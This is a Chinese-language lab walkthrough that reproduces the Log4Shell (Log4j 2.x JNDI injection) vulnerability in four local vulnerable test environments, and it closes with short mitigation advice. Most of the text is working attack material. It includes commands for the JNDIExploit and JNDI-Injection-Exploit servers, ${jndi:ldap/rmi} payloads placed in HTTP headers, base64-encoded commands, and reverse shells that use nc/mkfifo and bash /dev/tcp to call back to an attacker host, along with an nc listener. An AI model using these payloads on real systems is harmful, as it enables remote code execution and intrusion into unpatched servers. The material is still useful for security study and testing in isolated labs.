漏洞简介:
log4j是Apache公司的一款JAVA日志框架,基本上只要是java的框架都会用到这个log4j框架,所以上周不管是不是IT圈的都几乎被刷屏了,可见这个洞的危害之大,波及范围之广。所以复现一下。
影响版本:
Apache Log4j 2.x >=2.0-beta9 且 < 2.15.0
复现环境1:
1.log4shell-vulnerable-app环境:
docker run --name vulnerable-app --rm -p 8080:8080 ghcr.io/christophetd/log4shell-vulnerable-app
![notion image](https://www.notion.so/image/https%3A%2F%2Fs4.ax1x.com%2F2021%2F12%2F28%2FTyzwUx.png?table=block&id=6e8c27dd-70e6-4100-ba7d-1e4697d2b69f&cache=v2)
2.下载JNDIExploit工具,监听8888端口开启LADP服务:
wget https://github.com/Mr-xn/JNDIExploit-1/releases/tag/v1.2 unzip JNDIExploit.v1.2.zip java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 192.168.0.16 -p 8888
![notion image](https://www.notion.so/image/https%3A%2F%2Fs4.ax1x.com%2F2021%2F12%2F28%2FTyz056.png?table=block&id=7c275ecf-71da-43e3-b82f-7512c047e40d&cache=v2)
3.poc就是在http请求头中加入:
X-Api-Version: ${jndi:ldap://192.168.0.16:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}
![notion image](https://www.notion.so/image/https%3A%2F%2Fs4.ax1x.com%2F2021%2F12%2F28%2FTyzdV1.png?table=block&id=83de5c9c-f4f2-4985-90a4-5875986760d8&cache=v2)
![notion image](https://www.notion.so/image/https%3A%2F%2Fs4.ax1x.com%2F2021%2F12%2F28%2FTyzs2D.png?table=block&id=fd9b6a3f-1fe9-4007-8342-13b3e5dc3dc9&cache=v2)
Command/Base64是指把命令先经过base64编码
4.这里一定要注意靶机的ip地址:
![notion image](https://www.notion.so/image/https%3A%2F%2Fs4.ax1x.com%2F2021%2F12%2F28%2FTyzUbR.png?table=block&id=27a55376-849f-4dbe-afbd-152de1d384b9&cache=v2)
5.命令执行成功,已经创建了/tmp/pwned文件:
![notion image](https://www.notion.so/image/https%3A%2F%2Fs4.ax1x.com%2F2021%2F12%2F28%2FTyz056.png?table=block&id=0c25259d-24d8-42b1-a474-eda08f1ea6df&cache=v2)
![notion image](https://www.notion.so/image/https%3A%2F%2Fs4.ax1x.com%2F2021%2F12%2F28%2FTyzr8O.png?table=block&id=9d357b5d-c26c-43ce-bbc4-bd602bac55ac&cache=v2)
JNDIExploit支持多种的注入方式包括命令,dnslog,shell和reverseShell等方式
反弹nc:
X-Api-Version: ${jndi:ldap://192.168.0.16:1389/Basic/Command/Base64/cm0gL3RtcC9mIDsgbWtmaWZvIC90bXAvZjtjYXQgL3RtcC9mIHwgL2Jpbi9zaCAtaSAyPiYxIHwgbmMgMTkyLjE2OC4wLjE2IDU1NTUgPi90bXAvZg==}
由于靶机环境没有bash,所以用nc反弹/bin/sh
![notion image](https://www.notion.so/image/https%3A%2F%2Fs4.ax1x.com%2F2021%2F12%2F28%2FTyz5Pf.png?table=block&id=fbf6b40b-5891-49d0-94c6-1dac23b89ab3&cache=v2)
![notion image](https://www.notion.so/image/https%3A%2F%2Fs4.ax1x.com%2F2021%2F12%2F28%2FTyzfat.png?table=block&id=448ad268-2ae2-46ab-8089-f21352c9f1cf&cache=v2)
命令已经成功被解析,反弹成功。
![notion image](https://www.notion.so/image/https%3A%2F%2Fs4.ax1x.com%2F2021%2F12%2F28%2FTyzhIP.png?table=block&id=217c2e2f-99ec-474c-9bc9-3440eab3e90b&cache=v2)
如果base64编码出现+号的话,要经过url编码(如果使用hackbar或burp)
复现环境2:
1.运行vulfocus/log4j2-rce-2021-12-09靶机环境:
docker run -d --net=host --rm vulfocus/log4j2-rce-2021-12-09
![notion image](https://www.notion.so/image/https%3A%2F%2Fs4.ax1x.com%2F2021%2F12%2F28%2FTyzoRS.png?table=block&id=95bad0dd-6257-4b5d-8cbd-afc7f9cae850&cache=v2)
2.使用JNDI-Injection-Exploit一键注入:
![notion image](https://www.notion.so/image/https%3A%2F%2Fs4.ax1x.com%2F2021%2F12%2F28%2FT6eUp9.png?table=block&id=56a963b9-7251-4ba0-aed8-7edb242b62ed&cache=v2)
#-C:远程class文件中要执行的命令 -A:服务器地址,可以是IP地址或者域名 java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,dG91Y2ggL3RtcC9wd25lZA==}|{base64,-d}|{bash,-i}" -A "192.168.0.16"
![notion image](https://www.notion.so/image/https%3A%2F%2Fs4.ax1x.com%2F2021%2F12%2F28%2FT6ewOx.png?table=block&id=a7afa5b0-2ef9-49f7-9057-6dc4eff109fb&cache=v2)
😅这两个靶机的页面好像啊。。。
![notion image](https://www.notion.so/image/https%3A%2F%2Fs4.ax1x.com%2F2021%2F12%2F28%2FT6eykD.png?table=block&id=09624919-27ab-4ff0-ab7f-33466d76ce36&cache=v2)
poc是Ip:port/hello payload=${jndi:rmi://192.168.0.16:1099/zm6rw4}
这个靶机的poc是使用rmi的,其他大部分用的是LDAP
![notion image](https://www.notion.so/image/https%3A%2F%2Fs4.ax1x.com%2F2021%2F12%2F28%2FT6eD0K.png?table=block&id=914ddbc3-8c79-4137-8628-53ab41c38895&cache=v2)
![notion image](https://www.notion.so/image/https%3A%2F%2Fs4.ax1x.com%2F2021%2F12%2F28%2FT6eBm6.png?table=block&id=78ae567f-80d7-4d3e-91ab-d35bbce8aa22&cache=v2)
反弹nc:
bash -i >& /dev/tcp/192.168.0.16/5555 0>&1 java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMTYvNTU1NSAwPiYx}|{base64,-d}|{bash,-i}" -A "192.168.0.16" payload=${jndi:rmi://192.168.0.16:1099/old9aj}
![notion image](https://www.notion.so/image/https%3A%2F%2Fs4.ax1x.com%2F2021%2F12%2F28%2FT6erTO.png?table=block&id=7a80782f-97be-4bf8-8d5f-01d9d99ac6c8&cache=v2)
![notion image](https://www.notion.so/image/https%3A%2F%2Fs4.ax1x.com%2F2021%2F12%2F28%2FT6ecfH.png?table=block&id=7400586e-ec75-43fd-8765-3821cb7aeed2&cache=v2)
![notion image](https://www.notion.so/image/https%3A%2F%2Fs4.ax1x.com%2F2021%2F12%2F28%2FT6eW6I.png?table=block&id=1c041abf-0859-4199-b2b3-d048d7657907&cache=v2)
nc -lvvp 5555
![notion image](https://www.notion.so/image/https%3A%2F%2Fs4.ax1x.com%2F2021%2F12%2F28%2FT6e6te.png?table=block&id=7f80a000-79d5-4fe4-a5bd-31078ded907c&cache=v2)
反弹成功。
复现环境3:
1.使用python复现环境,安装依赖包:
pip install -r requirements.txt git clone https://github.com/kozmer/log4j-shell-poc.git cd log4j-shell-poc docker build -t log4j-shell-poc . docker run --network host log4j-shell-poc #运行靶场 python3 poc.py --userip localhost --webport 8000 --lport 5555 python3 poc.py --userip 192.168.0.16 --webport 8000 --lport 5555 nc -lvvp 5555 #反弹nc #保证 8000和5555端口没被占用
浏览器输入ip+8080端口:
![notion image](https://www.notion.so/image/https%3A%2F%2Fs4.ax1x.com%2F2021%2F12%2F29%2FT6KjGF.png?table=block&id=9003b0b7-7f69-49ca-b2dd-e1435225c7c3&cache=v2)
在网页输入框中输入payload,就是运行poc之后输出的jndi注入链接
${jndi:ldap://192.168.0.16:1389/a}
![notion image](https://www.notion.so/image/https%3A%2F%2Fs4.ax1x.com%2F2021%2F12%2F29%2FT6KL5T.png?table=block&id=25acf624-d246-4ab4-b2e8-a6e7825646d0&cache=v2)
![notion image](https://www.notion.so/image/https%3A%2F%2Fs4.ax1x.com%2F2021%2F12%2F29%2FT6Kv24.png?table=block&id=424f5bc4-3d48-48a3-87b4-cc433d6d1905&cache=v2)
如果是window环境,需要更换一下poc.py中的/bin下的jdk目录。
![notion image](https://www.notion.so/image/https%3A%2F%2Fs4.ax1x.com%2F2021%2F12%2F29%2FT6KqaV.png?table=block&id=75f7e097-b11e-4435-a368-2a8c0799318c&cache=v2)
需要jdk1.8的环境
复现环境4:
1.下载window上的靶场环境:
git clone https://github.com/christophetd/log4shell-vulnerable-app.git cd log4shell-vulnerable-app/ gradlew.bat appRun #windows环境
![notion image](https://www.notion.so/image/https%3A%2F%2Fs4.ax1x.com%2F2021%2F12%2F29%2FTc8Tne.png?table=block&id=84c8ffbd-f8cc-436d-8233-3fd030d1f49e&cache=v2)
2.打开浏览器ip+8888端口,配合JNDI-Injection-Exploit就可以弹出计算器了。
![notion image](https://www.notion.so/image/https%3A%2F%2Fs4.ax1x.com%2F2021%2F12%2F29%2FTc856O.png?table=block&id=d018d769-7783-4930-8562-b83e520646d5&cache=v2)
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C 'calc.exe' x-log: ${jndi:rmi://192.168.0.16:1099/zx4vcr} #poc
![notion image](https://www.notion.so/image/https%3A%2F%2Fs4.ax1x.com%2F2021%2F12%2F29%2FTc841K.png?table=block&id=1eb3db88-88db-4ae6-b22a-a90fdaf8c22f&cache=v2)
安全建议:
1.升级log4框架。
2.禁止日志服务器外连。
3.添加jvm启动参数:-Dlog4j2.formatMsgNoLookups=true
4.使用高版本JDK